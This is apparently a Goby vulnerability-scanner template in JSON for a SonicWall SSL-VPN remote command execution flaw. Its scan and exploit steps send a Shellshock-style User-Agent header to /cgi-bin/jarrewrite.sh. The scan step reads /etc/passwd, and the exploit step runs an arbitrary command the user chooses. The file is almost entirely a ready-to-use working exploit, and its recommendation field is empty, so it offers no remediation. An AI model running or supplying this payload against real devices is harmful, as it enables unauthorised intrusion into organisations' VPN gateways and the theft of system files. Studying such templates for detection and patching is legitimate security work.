{
      "Name": "SonicWall SSL-VPN RCE",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "(app=\"SonicWALL-Company's-product\" || app=\"SonicWALL-SSL-VPN\")",
      "Description": "The remote command execution of SonicWALL ssl-vpn was disclosed as exp on January 24. There is a remote command execution vulnerability in this device",
      "Product": "SonicWall SSL-VPN",
      "Homepage": "http://www.profix.com.cn/",
      "Author": "PeiQi",
      "Impact": "<p>Remote command execution<br></p>",
      "Recommandation": "",
      "References": [
            "http://wiki.peiqi.tech"
      ],
      "References": [
            "http://wiki.peiqi.tech"
      ],
	  "HasExp": true,
	  "ExpParams": [
		{
			"name": "Cmd",
			"type": "input",
			"value": "cat /etc/passwd",
			"show": ""
		}
	  ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/cgi-bin/jarrewrite.sh",
                        "follow_redirect": true,
                        "header": {
                              "User-Agent": "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"
                        },
                        "data_type": "text",
                        "data": ""
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "root",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
	  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/cgi-bin/jarrewrite.sh",
                        "follow_redirect": true,
                        "header": {
                              "User-Agent": "() { :; }; echo ; /bin/bash -c '{{{Cmd}}}'"
                        },
                        "data_type": "text",
                        "data": ""
                  },
                  "SetVariable": [
					"output|lastbody"
				  ]
            }
      ],
      "PostTime": "2021-04-04 21:53:43",
      "GobyVersion": "1.8.255"
}